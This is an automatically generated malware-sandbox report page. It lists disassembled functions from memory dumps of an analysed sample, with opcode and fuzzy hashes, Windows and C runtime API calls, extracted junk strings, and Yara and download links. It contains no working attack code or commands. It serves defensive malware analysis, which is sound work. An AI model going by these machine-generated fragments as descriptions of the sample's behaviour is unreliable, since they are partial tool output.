Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: 8712f1e592e7883afd942832854f3e4be7f2197b6e7830f5f8eb0d00381c0c1a
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction Fuzzy Hash: F01182723501009FD754DFA5DCE1FA673EAEB88320B198155ED08CB715D675E901C760

Function 022040A3 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1442694289.0000000002204000.00000040.00000020.00020000.00000000.sdmp, Offset: 02204000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2204000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: d0e3c23300870fb1b4bcd7fe1a7e39e79892ca7d580dbabb320894743d52fd91
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction Fuzzy Hash: ED1182723501019FD754EF95DCC0FA673EAEB99320B198065EE08DB356D676EC42CB60

Function 022AA79A Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1442806045.00000000022A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22a0000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f7a2a3c4e4e7b1265b14b7c3247eccdedd29083849295e66ade5a7e6f19b4579
Instruction ID: 5b25d996f4ab8f35f69aacc2f86fabc421428dfdb3aeb79060cc68a38fc2e789
Opcode Fuzzy Hash: f7a2a3c4e4e7b1265b14b7c3247eccdedd29083849295e66ade5a7e6f19b4579
Instruction Fuzzy Hash: E60128768206629BD741DF3EC8C045AFBF1BF082117928B2ADC9083A41D334E662DBE4

Function 004026B4 Relevance: 40.5, APIs: 4, Strings: 19, Instructions: 289COMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 00402E5F
MoveFileExW.KERNEL32(00000000,00000000,00000000), ref: 00402E68
GetConsoleAliasesA.KERNEL32(?,00000000,00000000), ref: 00402EC1
InterlockedPushEntrySList.KERNEL32(00000000,00000000), ref: 00402EC9

Strings

cl!, xrefs: 00402C45
<kr, xrefs: 00402D6D
npCy, xrefs: 00402A27
XjdB, xrefs: 00402D4E
7!"K, xrefs: 004028D6
#Dv, xrefs: 00402893
Efz, xrefs: 00402AF0
&::k, xrefs: 00402D95
sDFZ, xrefs: 00402857
7?t, xrefs: 00402C2A
,:hA, xrefs: 00402CBE
bcs%, xrefs: 00402DB3
, xrefs: 00402717
z$Z?, xrefs: 00402AE6
bOon, xrefs: 0040293B
|F4*, xrefs: 00402927
'{], xrefs: 00402A3B
i\w, xrefs: 004029F1
4{k, xrefs: 00402D9F

Memory Dump Source

Source File: 00000000.00000002.1441717123.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1441695979.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1441717123.0000000000416000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1441717123.00000000004B2000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1441879242.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1441915825.00000000004BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1441947953.00000000004FC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1441977196.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1441998150.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Similarity

API ID: Console$AliasesEntryFileInterlockedListMovePushWrite
String ID: $#Dv$&::k$'{]$,:hA$4{k$7!"K$7?t$<kr$Efz$XjdB$bOon$bcs%$cl!$i\w$npCy$sDFZ$z$Z?$|F4*
API String ID: 892834681-541864601
Opcode ID: cadcb807444ecafa17eb6c2640d2d2b9312a9c89b4922eba34f6682df101b657
Instruction ID: 89e16bf9f18f24ecd8880f63c573ffa0ec89ea927348c869ab908a67b92046b4
Opcode Fuzzy Hash: cadcb807444ecafa17eb6c2640d2d2b9312a9c89b4922eba34f6682df101b657
Instruction Fuzzy Hash: 3312CCB4C02268DFDB60DF56DA897CDBBB0BB45304F6082DAD0497B214CB754A86CF99

Function 00402F11 Relevance: 22.8, APIs: 9, Strings: 4, Instructions: 60filelibraryCOMMON

Download Yara Rule

APIs

WriteProfileSectionA.KERNEL32(00000000,00000000), ref: 00402F44
FreeEnvironmentStringsA.KERNEL32(00000000), ref: 00402F4B
WriteConsoleW.KERNEL32(00000000,?,00000000,?,00000000), ref: 00402F5F
MoveFileA.KERNEL32(luzevule,jilolabewihaxuvunoxuyabojahowunuyexedeca), ref: 00402F6F
LoadLibraryA.KERNEL32(Kadoy), ref: 00402F7A
SetConsoleTextAttribute.KERNEL32(00000000,00000000), ref: 00402F82
ReadConsoleW.KERNEL32(00000000,?,00000000,?,00000000), ref: 00402F96
GetModuleHandleW.KERNEL32(Neyelipoyalumat puvocibir bavoti guj yogetitap), ref: 00402FA1
GetConsoleTitleW.KERNEL32(00000000,00000000), ref: 00402FA9

Strings

Kadoy, xrefs: 00402F75
luzevule, xrefs: 00402F6A
Neyelipoyalumat puvocibir bavoti guj yogetitap, xrefs: 00402F9C
jilolabewihaxuvunoxuyabojahowunuyexedeca, xrefs: 00402F65

Memory Dump Source

Source File: 00000000.00000002.1441717123.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1441695979.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1441717123.0000000000416000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1441717123.00000000004B2000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1441879242.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1441915825.00000000004BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1441947953.00000000004FC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1441977196.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1441998150.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Similarity

API ID: Console$Write$AttributeEnvironmentFileFreeHandleLibraryLoadModuleMoveProfileReadSectionStringsTextTitle
String ID: Kadoy$Neyelipoyalumat puvocibir bavoti guj yogetitap$jilolabewihaxuvunoxuyabojahowunuyexedeca$luzevule
API String ID: 3424030771-815010755
Opcode ID: ffb70bc44b3e55ee735589fb690905dc57c71ca6ca285cec01589a4476f0a9cd
Instruction ID: 199656fe75b0a24e46dd18f8499f8f8deddd261d6f1aa22b65b2ec6ecb7855a5
Opcode Fuzzy Hash: ffb70bc44b3e55ee735589fb690905dc57c71ca6ca285cec01589a4476f0a9cd
Instruction Fuzzy Hash: 87112E76501524BBC3116BA4AE4CCEF776CEF4A7417100032F646E15A0DBB84685CBBD

Function 022C6437 Relevance: 18.1, APIs: 12, Instructions: 84COMMONLIBRARYCODE

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 022C644E

Part of subcall function 022C9636: __calloc_impl.LIBCMT ref: 022C9645

__calloc_crt.LIBCMT ref: 022C6472
_free.LIBCMT ref: 022C6480
__calloc_crt.LIBCMT ref: 022C648E
_free.LIBCMT ref: 022C649E
_free.LIBCMT ref: 022C64A4
__copytlocinfo_nolock.LIBCMT ref: 022C64B3
__setmbcp_nolock.LIBCMT ref: 022C64D4
_free.LIBCMT ref: 022C64E2
___removelocaleref.LIBCMT ref: 022C64E9
___freetlocinfo.LIBCMT ref: 022C64F0
_free.LIBCMT ref: 022C64F6

Memory Dump Source

Source File: 00000000.00000002.1442806045.00000000022A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22a0000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: _free$__calloc_crt$___freetlocinfo___removelocaleref__calloc_impl__copytlocinfo_nolock__setmbcp_nolock
String ID:
API String ID: 1442030790-0
Opcode ID: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction ID: 365e09c31ed53e3fd09392672fc5df87e76aa0790a960a001cedc436d5ea5056
Opcode Fuzzy Hash: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction Fuzzy Hash: D621A431164741AEE7317FE5D801E2B7BDAEF817A0B70832DE449550ADEB32D550CE50

Function 022C3F16 Relevance: 16.8, APIs: 11, Instructions: 258COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 022C3F51

Part of subcall function 022C5BA8: __getptd_noexit.LIBCMT ref: 022C5BA8

__gmtime64_s.LIBCMT ref: 022C3FEA
__gmtime64_s.LIBCMT ref: 022C4020
__gmtime64_s.LIBCMT ref: 022C403D
__allrem.LIBCMT ref: 022C4093
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 022C40AF
__allrem.LIBCMT ref: 022C40C6
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 022C40E4
__allrem.LIBCMT ref: 022C40FB
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 022C4119
__invoke_watson.LIBCMT ref: 022C418A

Memory Dump Source

Source File: 00000000.00000002.1442806045.00000000022A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22a0000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit__invoke_watson_memset
String ID:
API String ID: 384356119-0
Opcode ID: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction ID: 6b7e8f10288d36ca44e89a6337b1befb0e649696bc8b4e42aeec1a1b8703f48f
Opcode Fuzzy Hash: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction Fuzzy Hash: 8171DA71A20717ABD714EEB9CC50B5BB3B9BF10324F24476DE514E6298EBB0DA00CB90

Function 022C650E Relevance: 16.6, APIs: 11, Instructions: 131COMMONLIBRARYCODE

Download Yara Rule

APIs

__invoke_watson.LIBCMT ref: 022C6547
__calloc_crt.LIBCMT ref: 022C6598
__lock.LIBCMT ref: 022C65AE
__copytlocinfo_nolock.LIBCMT ref: 022C65BF
_wcscmp.LIBCMT ref: 022C65F9
__lock.LIBCMT ref: 022C6610
__updatetlocinfoEx_nolock.LIBCMT ref: 022C6622
___removelocaleref.LIBCMT ref: 022C6628
__updatetlocinfoEx_nolock.LIBCMT ref: 022C6647

Memory Dump Source

Source File: 00000000.00000002.1442806045.00000000022A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22a0000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: Ex_nolock__lock__updatetlocinfo$___removelocaleref__calloc_crt__copytlocinfo_nolock__invoke_watson_wcscmp
String ID:
API String ID: 3432600739-0
Opcode ID: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
Instruction ID: 27935ed2c7b5e55110cafc1935edb47cf76eaa5002662d0a54a98f61eaf0318d
Opcode Fuzzy Hash: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
Instruction Fuzzy Hash: ED411532924305AFDB10BFE4D840BAE3BEAAF84314F30862DE91456198DF7A9645DF51

Function 022C84AB Relevance: 16.6, APIs: 11, Instructions: 92COMMONLIBRARYCODE

Download Yara Rule

APIs

___crtCorExitProcess.LIBCMT ref: 022C84B1
_free.LIBCMT ref: 022C84E2
_free.LIBCMT ref: 022C84F5
_free.LIBCMT ref: 022C8513
_free.LIBCMT ref: 022C8525
_free.LIBCMT ref: 022C8536
_free.LIBCMT ref: 022C8541
_free.LIBCMT ref: 022C8565
_free.LIBCMT ref: 022C8581
_free.LIBCMT ref: 022C8597
_free.LIBCMT ref: 022C85BF

Memory Dump Source

Source File: 00000000.00000002.1442806045.00000000022A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22a0000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: _free$ExitProcess___crt
String ID:
API String ID: 1022109855-0
Opcode ID: 351ddd14b24f1e3a4d385d89d907221036510e379468225c84414e37ce72688f
Instruction ID: 8b6127642aacbb558e4da68cb1bb68c8e6f6bd3730eaad5f9b475617358f6cb6
Opcode Fuzzy Hash: 351ddd14b24f1e3a4d385d89d907221036510e379468225c84414e37ce72688f
Instruction Fuzzy Hash: 5231D431D10351DBDB225F94FC8084977A6FF143A5325C72EE908572A8CBF059C8AF92

Function 022EFC0C Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 022EFC1F

Part of subcall function 022D169C: std::exception::_Copy_str.LIBCMT ref: 022D16B5

__CxxThrowException@8.LIBCMT ref: 022EFC34
std::exception::exception.LIBCMT ref: 022EFC4D
__CxxThrowException@8.LIBCMT ref: 022EFC62
std::regex_error::regex_error.LIBCPMT ref: 022EFC74

Part of subcall function 022EF914: std::exception::exception.LIBCMT ref: 022EF92E

__CxxThrowException@8.LIBCMT ref: 022EFC82
std::exception::exception.LIBCMT ref: 022EFC9B
__CxxThrowException@8.LIBCMT ref: 022EFCB0

Strings

leM, xrefs: 022EFCA8

Memory Dump Source

Source File: 00000000.00000002.1442806045.00000000022A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22a0000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: Exception@8Throwstd::exception::exception$Copy_strstd::exception::_std::regex_error::regex_error
String ID: leM
API String ID: 3569886845-2926266777
Opcode ID: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction ID: 0e12dad3d84f514430edc7fd0cb799a0e8247fc9e18ccc4d56fa0b14b5af9d0c
Opcode Fuzzy Hash: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction Fuzzy Hash: 1111E979C0030DBBCF04FFE5D855CEEBBBDAA04344B408566AD1897648EB74A3588F94

Function 022AF010 Relevance: 15.1, APIs: 10, Instructions: 78COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 022AF01F

Part of subcall function 022C1602: __FF_MSGBANNER.LIBCMT ref: 022C1619
Part of subcall function 022C1602: __NMSG_WRITE.LIBCMT ref: 022C1620

_malloc.LIBCMT ref: 022AF02B
_wprintf.LIBCMT ref: 022AF03E
_free.LIBCMT ref: 022AF044
_free.LIBCMT ref: 022AF065
_malloc.LIBCMT ref: 022AF06D
_sprintf.LIBCMT ref: 022AF0C0
_wprintf.LIBCMT ref: 022AF0D2
_wprintf.LIBCMT ref: 022AF0DC
_free.LIBCMT ref: 022AF0E5

Memory Dump Source

Source File: 00000000.00000002.1442806045.00000000022A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22a0000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: _free_malloc_wprintf$_sprintf
String ID:
API String ID: 3721157643-0
Opcode ID: 02ca39b803bb7accc6b95a63f2f9baed07ed6e7a95ba34453850edf5138b640f
Instruction ID: 6f9cea60d9c2c19eaf51886e3dee9b3409922eedcf4454bdc271a7c0805254a0
Opcode Fuzzy Hash: 02ca39b803bb7accc6b95a63f2f9baed07ed6e7a95ba34453850edf5138b640f
Instruction Fuzzy Hash: D61124B69606606AD261B2F44C12EFF3ADD9F45302F1402ADFE8CD1184EA195A149BB1

Function 022B1960 Relevance: 13.6, APIs: 9, Instructions: 149COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 022B19C6
__CxxThrowException@8.LIBCMT ref: 022B19F1
__CxxThrowException@8.LIBCMT ref: 022B1A1A
__CxxThrowException@8.LIBCMT ref: 022B1A4B
_memset.LIBCMT ref: 022B1A6A
__CxxThrowException@8.LIBCMT ref: 022B1A90
_malloc.LIBCMT ref: 022B1AA0
_memset.LIBCMT ref: 022B1AAB
_sprintf.LIBCMT ref: 022B1ACE

Memory Dump Source

Source File: 00000000.00000002.1442806045.00000000022A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22a0000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset$_malloc_sprintf
String ID:
API String ID: 65388428-0
Opcode ID: 76dd775f958ae6873f0575faef2ecf56324248e316e82f6433bbffcf9f7903c6
Instruction ID: 81428ea38c92fa3e870827234e0df9fc0b386b1f105e715d44bde2db39162225
Opcode Fuzzy Hash: 76dd775f958ae6873f0575faef2ecf56324248e316e82f6433bbffcf9f7903c6
Instruction Fuzzy Hash: 92514A71D40209AAEB11DBE5DC86FEEBBB9FF04744F100125F909F6184EB746A118BA5

Function 022AF210 Relevance: 10.7, APIs: 7, Instructions: 165COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 022AF284
__CxxThrowException@8.LIBCMT ref: 022AF2AF
__CxxThrowException@8.LIBCMT ref: 022AF2DE
__CxxThrowException@8.LIBCMT ref: 022AF30F
_memset.LIBCMT ref: 022AF32E
__CxxThrowException@8.LIBCMT ref: 022AF354
_sprintf.LIBCMT ref: 022AF373

Memory Dump Source

Source File: 00000000.00000002.1442806045.00000000022A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22a0000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset_sprintf
String ID:
API String ID: 217217746-0
Opcode ID: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction ID: defdeb1b1e1906a79119ffc2c2321c6cab2c018cbfe9162a08f5a15ebff5b153
Opcode Fuzzy Hash: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction Fuzzy Hash: 1C51AFB1D50249ABEF11DFE1CD46FEEBB78EF04704F100129F905B6580D7B9AA058BA4

Function 022AF440 Relevance: 10.7, APIs: 7, Instructions: 159COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 022AF4B7
__CxxThrowException@8.LIBCMT ref: 022AF4E2
__CxxThrowException@8.LIBCMT ref: 022AF504
__CxxThrowException@8.LIBCMT ref: 022AF535
_memset.LIBCMT ref: 022AF554
__CxxThrowException@8.LIBCMT ref: 022AF57A
_sprintf.LIBCMT ref: 022AF594

Memory Dump Source

Source File: 00000000.00000002.1442806045.00000000022A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22a0000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset_sprintf
String ID:
API String ID: 217217746-0
Opcode ID: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction ID: 1cde3c5e0b6cfc27a8d217483a13de275b7518f080082136d43e3928eeedc9b8
Opcode Fuzzy Hash: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction Fuzzy Hash: 4F518E71D50209ABDF21DFE1CD46FEEBBB8EF04704F200129F905B6584EB75AA058BA4

Function 022E208B Relevance: 9.1, APIs: 6, Instructions: 112COMMON

Download Yara Rule

APIs

__getenv_helper_nolock.LIBCMT ref: 022E20C6
__invoke_watson.LIBCMT ref: 022E2120
_strlen.LIBCMT ref: 022E20D4

Part of subcall function 022C5BA8: __getptd_noexit.LIBCMT ref: 022C5BA8

_strnlen.LIBCMT ref: 022E215F
__lock.LIBCMT ref: 022E2170
__getenv_helper_nolock.LIBCMT ref: 022E217B

Memory Dump Source

Source File: 00000000.00000002.1442806045.00000000022A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22a0000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: __getenv_helper_nolock$__getptd_noexit__invoke_watson__lock_strlen_strnlen
String ID:
API String ID: 3534693527-0
Opcode ID: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction ID: 9f91e501b12b245e3b3baef24266c3e7ce0c17276cb3f2bd3833526286429442
Opcode Fuzzy Hash: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction Fuzzy Hash: 4A310772930326EADF216AE4DC00B6E275D9F14B24F604219ED07EF2DCDB748641DAA1

Function 023666D9 Relevance: 9.1, APIs: 6, Instructions: 100COMMON

Download Yara Rule

APIs

__getptd_noexit.LIBCMT ref: 023666DD

Part of subcall function 022C59BF: __calloc_crt.LIBCMT ref: 022C59E2
Part of subcall function 022C59BF: __initptd.LIBCMT ref: 022C5A04

__calloc_crt.LIBCMT ref: 02366700
__get_sys_err_msg.LIBCMT ref: 0236671E
__invoke_watson.LIBCMT ref: 0236673B
__get_sys_err_msg.LIBCMT ref: 0236676D
__invoke_watson.LIBCMT ref: 0236678B

Memory Dump Source

Source File: 00000000.00000002.1442806045.00000000022A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22a0000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: __calloc_crt__get_sys_err_msg__invoke_watson$__getptd_noexit__initptd
String ID:
API String ID: 4066021419-0
Opcode ID: 560737a3d48f69e2c1bbacaa64e20750b253c0be39bebdd764001766347183bc
Instruction ID: a02860c7114ab6e0768a66b4c56c7b40c16e6ba36dacb9a909a21845165b1a4b
Opcode Fuzzy Hash: 560737a3d48f69e2c1bbacaa64e20750b253c0be39bebdd764001766347183bc
Instruction Fuzzy Hash: 5011B2316007146BEB317E65EC06B7B779DDF007E1F50856AFD08A6648EB29DD108EE4

Function 00406FEA Relevance: 7.5, APIs: 5, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00406FF6

Part of subcall function 00406228: __getptd_noexit.LIBCMT ref: 0040622B
Part of subcall function 00406228: __amsg_exit.LIBCMT ref: 00406238

__amsg_exit.LIBCMT ref: 00407016
__lock.LIBCMT ref: 00407026
InterlockedDecrement.KERNEL32(?), ref: 00407043
InterlockedIncrement.KERNEL32(00A51670), ref: 0040706E

Memory Dump Source

Source File: 00000000.00000002.1441717123.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1441695979.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1441717123.0000000000416000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1441717123.00000000004B2000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1441879242.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1441915825.00000000004BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1441947953.00000000004FC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1441977196.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1441998150.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock
String ID:
API String ID: 4271482742-0
Opcode ID: 4b4addc12a07e57df3433f6e6cde8f13314972d0b0a39a0372ecd02351131205
Instruction ID: ff6d20de15c95bb4c98415378ec65f3b8268ffa048be7f43a560f1513f77e7ec
Opcode Fuzzy Hash: 4b4addc12a07e57df3433f6e6cde8f13314972d0b0a39a0372ecd02351131205
Instruction Fuzzy Hash: 54018271D04621E7D720BF56980574BB7A4AB44B21F05467BE900772D1CB3CB941DBEE

Function 0040394D Relevance: 7.5, APIs: 5, Instructions: 44memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

__lock.LIBCMT ref: 0040396B

Part of subcall function 00404048: __mtinitlocknum.LIBCMT ref: 0040405E
Part of subcall function 00404048: __amsg_exit.LIBCMT ref: 0040406A
Part of subcall function 00404048: EnterCriticalSection.KERNEL32(?,?,?,00404DAD,00000004,004B24C8,0000000C,004066F4,?,?,00000000,00000000,00000000,?,004061DA,00000001), ref: 00404072

___sbh_find_block.LIBCMT ref: 00403976
___sbh_free_block.LIBCMT ref: 00403985
HeapFree.KERNEL32(00000000,?,004B2460,0000000C,00403068,00000000), ref: 004039B5
GetLastError.KERNEL32 ref: 004039C6

Memory Dump Source

Source File: 00000000.00000002.1441717123.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1441695979.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1441717123.0000000000416000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1441717123.00000000004B2000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1441879242.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1441915825.00000000004BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1441947953.00000000004FC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1441977196.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1441998150.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Similarity

API ID: CriticalEnterErrorFreeHeapLastSection___sbh_find_block___sbh_free_block__amsg_exit__lock__mtinitlocknum
String ID:
API String ID: 2714421763-0
Opcode ID: c73db074e7beaaeb56fd2cac88d28567c1f811534634c35c0ba776cb03497b91
Instruction ID: 1d7de9c451a1609d5ef68f6bf0b71bcb7805a277c37229c81d4a99624cc5abed
Opcode Fuzzy Hash: c73db074e7beaaeb56fd2cac88d28567c1f811534634c35c0ba776cb03497b91
Instruction Fuzzy Hash: 030184B1901201AADB207F71980AB5F7E78AF4172AF10013FF600B61D1CBBC96418A9D

Function 022B2670 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 382COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 022B26DB
_memset.LIBCMT ref: 022B2A30
_memset.LIBCMT ref: 022B2AC0

Strings

D, xrefs: 022B2AC8

Memory Dump Source

Source File: 00000000.00000002.1442806045.00000000022A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22a0000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: _memset
String ID: D
API String ID: 2102423945-2746444292
Opcode ID: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
